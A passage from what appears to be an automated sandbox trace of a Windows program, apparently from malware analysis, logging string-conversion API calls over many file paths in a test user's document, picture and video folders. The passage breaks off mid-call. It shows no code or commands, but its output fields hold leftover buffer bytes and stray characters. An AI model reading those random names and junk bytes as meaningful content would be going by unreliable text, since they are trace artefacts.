lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/WnrIX/Qsu-c/pa%20U3CiwSuzLbnk.mkv", lpUsedDefaultChar=0x0) returned 116 [0074.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321168, cbMultiByte=116, lpWideCharStr=0x23211e4, cchWideChar=233 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/WnrIX/Qsu-c/pa%20U3CiwSuzLbnk.mkv瑳畲열A濔Θ⴬") returned 116 [0074.669] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vklleNEl.odp", cchWideChar=80, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vklleNEl.odpPmcxz/Documents/yiub/ZHL2s_-N8agn/vklleNEl.odp", lpUsedDefaultChar=0x0) returned 80 [0074.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=80, lpWideCharStr=0x232138c, cchWideChar=161 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vklleNEl.odp⁤畧열A濔Θ⯌") returned 80 [0074.669] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yB1sPauX7FL.docx", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yB1sPauX7FL.docxNrGJn0jS%20HALPmcxz/Documents/yB1sPauX7FL.docx", lpUsedDefaultChar=0x0) returned 66 [0074.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x23214f0, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yB1sPauX7FL.docxL") returned 66 [0074.669] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/h72CJ5GET.ots", cchWideChar=98, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/h72CJ5GET.otsub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/h72CJ5GET.ots", lpUsedDefaultChar=0x0) returned 98 [0074.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=98, lpWideCharStr=0x232163c, cchWideChar=197 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/h72CJ5GET.ots⁲") returned 98 [0074.669] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/0yRPUT6TDREHeWByR4rP.docx", cchWideChar=80, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/0yRPUT6TDREHeWByR4rP.docxPmcxz/Documents/yiub/0yRPUT6TDREHeWByR4rP.docx", lpUsedDefaultChar=0x0) returned 80 [0074.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=80, lpWideCharStr=0x23217cc, cchWideChar=161 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/0yRPUT6TDREHeWByR4rP.docx獳 열A濔Θ➌") returned 80 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5H7Vrui.docx", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5H7Vrui.docxGJn0jS%20HALPmcxz/AppData/Roaming/5H7Vrui.docx", lpUsedDefaultChar=0x0) returned 68 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x232187c, cbMultiByte=68, lpWideCharStr=0x2320644, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5H7Vrui.docx\x90") returned 68 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/x6ElzgARF.doc", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/x6ElzgARF.docGJn0jS%20HALPmcxz/Documents/yiub/x6ElzgARF.doc", lpUsedDefaultChar=0x0) returned 68 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x232199c, cbMultiByte=68, lpWideCharStr=0x23219e8, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/x6ElzgARF.docఐ!열A濔Θ█") returned 68 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/C1kvrYt.gif", cchWideChar=98, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/C1kvrYt.gif61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/C1kvrYt.gif", lpUsedDefaultChar=0x0) returned 98 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=98, lpWideCharStr=0x2321a78, cchWideChar=197 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/C1kvrYt.gif\x10") returned 98 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/5eg1.docx", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/5eg1.docxers/5p5NrGJn0jS%20HALPmcxz/Documents/5eg1.docx", lpUsedDefaultChar=0x0) returned 59 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321b4c, cbMultiByte=59, lpWideCharStr=0x3986d84, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/5eg1.docx") returned 59 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/aOnv.rtf", cchWideChar=56, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/aOnv.rtf/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/aOnv.rtf", lpUsedDefaultChar=0x0) returned 56 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321b94, cbMultiByte=56, lpWideCharStr=0x2321bd4, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/aOnv.rtf簐#열A濔Θ⎴") returned 56 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/VWPZkESw1UhD8UaF6.bmp", cchWideChar=85, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/VWPZkESw1UhD8UaF6.bmp/Pictures/LlZj-da3Lc0SAD/VWPZkESw1UhD8UaF6.bmp", lpUsedDefaultChar=0x0) returned 85 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321d30, cbMultiByte=85, lpWideCharStr=0x2321d8c, cchWideChar=171 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/VWPZkESw1UhD8UaF6.bmp\x0e열A濔Θ⇄") returned 85 [0074.670] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/5fx9fx.gif", cchWideChar=97, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/5fx9fx.gifC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/5fx9fx.gif", lpUsedDefaultChar=0x0) returned 97 [0074.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=97, lpWideCharStr=0x3982a88, cchWideChar=195 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/5fx9fx.gif") returned 97 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/sBE3Xge.mkv", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/sBE3Xge.mkvers/5p5NrGJn0jS%20HALPmcxz/Desktop/sBE3Xge.mkv", lpUsedDefaultChar=0x0) returned 59 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321e44, cbMultiByte=59, lpWideCharStr=0x2321e84, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/sBE3Xge.mkv\x01열A濔Θ℀") returned 59 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/TRNOm7PeOz.jpg", cchWideChar=96, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/TRNOm7PeOz.jpglZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/TRNOm7PeOz.jpg", lpUsedDefaultChar=0x0) returned 96 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=96, lpWideCharStr=0x2321f00, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/TRNOm7PeOz.jpgခ瀽열A濔Θ‸") returned 96 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/2nK3ie.gif", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/2nK3ie.gifNrGJn0jS%20HALPmcxz/AppData/Roaming/2nK3ie.gif", lpUsedDefaultChar=0x0) returned 66 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x2321fc8, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/2nK3ie.gif警ౕ열A濔Θᾬ") returned 66 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Fxlxn.gif", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Fxlxn.gif5NrGJn0jS%20HALPmcxz/AppData/Roaming/Fxlxn.gif", lpUsedDefaultChar=0x0) returned 65 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x232214c, cbMultiByte=65, lpWideCharStr=0x2322194, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Fxlxn.gif슃열A濔Θᷤ") returned 65 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yjqyP77NFy.xlsx", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yjqyP77NFy.xlsx5NrGJn0jS%20HALPmcxz/Documents/yjqyP77NFy.xlsx", lpUsedDefaultChar=0x0) returned 65 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=65, lpWideCharStr=0x2322310, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yjqyP77NFy.xlsx㣩열A濔Θᱨ") returned 65 [0074.671] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/rFlztk.flv", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/rFlztk.flv%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/rFlztk.flv", lpUsedDefaultChar=0x0) returned 74 [0074.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322498, cbMultiByte=74, lpWideCharStr=0x232091c, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/rFlztk.flv\x9c") returned 74 [0074.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/G75P.bmp", cchWideChar=56, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/G75P.bmp/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/G75P.bmp", lpUsedDefaultChar=0x0) returned 56 [0074.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321e44, cbMultiByte=56, lpWideCharStr=0x23225e4, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/G75P.bmp쳌쳌열A濔Θᦤ") returned 56 [0074.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/AVJ6FiEz4zaaIViNRlw.flv", cchWideChar=106, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/AVJ6FiEz4zaaIViNRlw.flvmee/3Us5nuIYL1u_RnPPuJ/AVJ6FiEz4zaaIViNRlw.flv", lpUsedDefaultChar=0x0) returned 106 [0074.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322764, cbMultiByte=106, lpWideCharStr=0x23227d4, cchWideChar=213 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/AVJ6FiEz4zaaIViNRlw.flv\x0b") returned 106 [0074.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VT_FLL6X.pdf", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VT_FLL6X.pdfGJn0jS%20HALPmcxz/AppData/Roaming/VT_FLL6X.pdf", lpUsedDefaultChar=0x0) returned 68 [0074.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23228b8, cbMultiByte=68, lpWideCharStr=0x2321b44, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VT_FLL6X.pdf\x90") returned 68 [0074.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/CWuI5tTSoD.pps", cchWideChar=97, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/CWuI5tTSoD.ppsiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/CWuI5tTSoD.pps", lpUsedDefaultChar=0x0) returned 97 [0074.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=97, lpWideCharStr=0x2322a0c, cchWideChar=195 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/CWuI5tTSoD.pps⭾열A濔Θᔬ") returned 97 [0074.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/g6CVw2EHUNZkVnHB.docx", cchWideChar=102, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/g6CVw2EHUNZkVnHB.docxHL2s_-N8agn/vKwwSOkmDf1R/g6CVw2EHUNZkVnHB.docx", lpUsedDefaultChar=0x0) returned 102 [0074.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322adc, cbMultiByte=102, lpWideCharStr=0x3986c10, cchWideChar=205 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/g6CVw2EHUNZkVnHB.docxÔ") returned 102 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/1dRMBdJ8JilqvY.pptx", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/1dRMBdJ8JilqvY.pptxJn0jS%20HALPmcxz/Documents/1dRMBdJ8JilqvY.pptx", lpUsedDefaultChar=0x0) returned 69 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322c60, cbMultiByte=69, lpWideCharStr=0x2322cac, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/1dRMBdJ8JilqvY.pptxࡵ열A濔Θዄ") returned 69 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/1L3e.gif", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/1L3e.gifmwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/1L3e.gif", lpUsedDefaultChar=0x0) returned 95 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322d44, cbMultiByte=95, lpWideCharStr=0x2321708, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/W20eWw_7BDOqTilgo1fv/1L3e.gif") returned 95 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-2-d2UdE5bHRb3Wgt.csv", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-2-d2UdE5bHRb3Wgt.csvHALPmcxz/AppData/Roaming/-2-d2UdE5bHRb3Wgt.csv", lpUsedDefaultChar=0x0) returned 77 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322ec8, cbMultiByte=77, lpWideCharStr=0x2320a60, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-2-d2UdE5bHRb3Wgt.csv") returned 77 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/g7OWFNW_481.docx", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/g7OWFNW_481.docxNrGJn0jS%20HALPmcxz/Documents/g7OWFNW_481.docx", lpUsedDefaultChar=0x0) returned 66 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x3986fd8, cchWideChar=133 | out: lpWideCharStr) returned 66 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/vbjCBCCaRqTDVu75M.xls", cchWideChar=96, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/vbjCBCCaRqTDVu75M.xlsyiub/18tCh2fbWO9uqJ4SH0r/vbjCBCCaRqTDVu75M.xls", lpUsedDefaultChar=0x0) returned 96 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=96, lpWideCharStr=0x3986a9c, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/vbjCBCCaRqTDVu75M.xls䱬敩䩫⹌Ð") returned 96 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VS05.jpg", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VS05.jpgp5NrGJn0jS%20HALPmcxz/AppData/Roaming/VS05.jpg", lpUsedDefaultChar=0x0) returned 64 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=64, lpWideCharStr=0x23212d4, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/VS05.jpg潔ΘፘȲፘȲ0") returned 64 [0074.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/E_wjAqxP.jpg", cchWideChar=78, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/E_wjAqxP.jpgALPmcxz/Pictures/mwC61ttLhFHO7U8H/E_wjAqxP.jpg", lpUsedDefaultChar=0x0) returned 78 [0074.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=78, lpWideCharStr=0x2321434, cchWideChar=157 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/mwC61ttLhFHO7U8H/E_wjAqxP.jpgಔȲᓔȲᓔȲ\x18") returned 78 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5D8r7iPaICW-fL.mkv", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5D8r7iPaICW-fL.mkv%20HALPmcxz/AppData/Roaming/5D8r7iPaICW-fL.mkv", lpUsedDefaultChar=0x0) returned 74 [0074.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=74, lpWideCharStr=0x232157c, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/5D8r7iPaICW-fL.mkvসȲᘔȲᘔȲ$") returned 74 [0074.674] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/tHX0zgZ7OA49IM.xlsx", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, 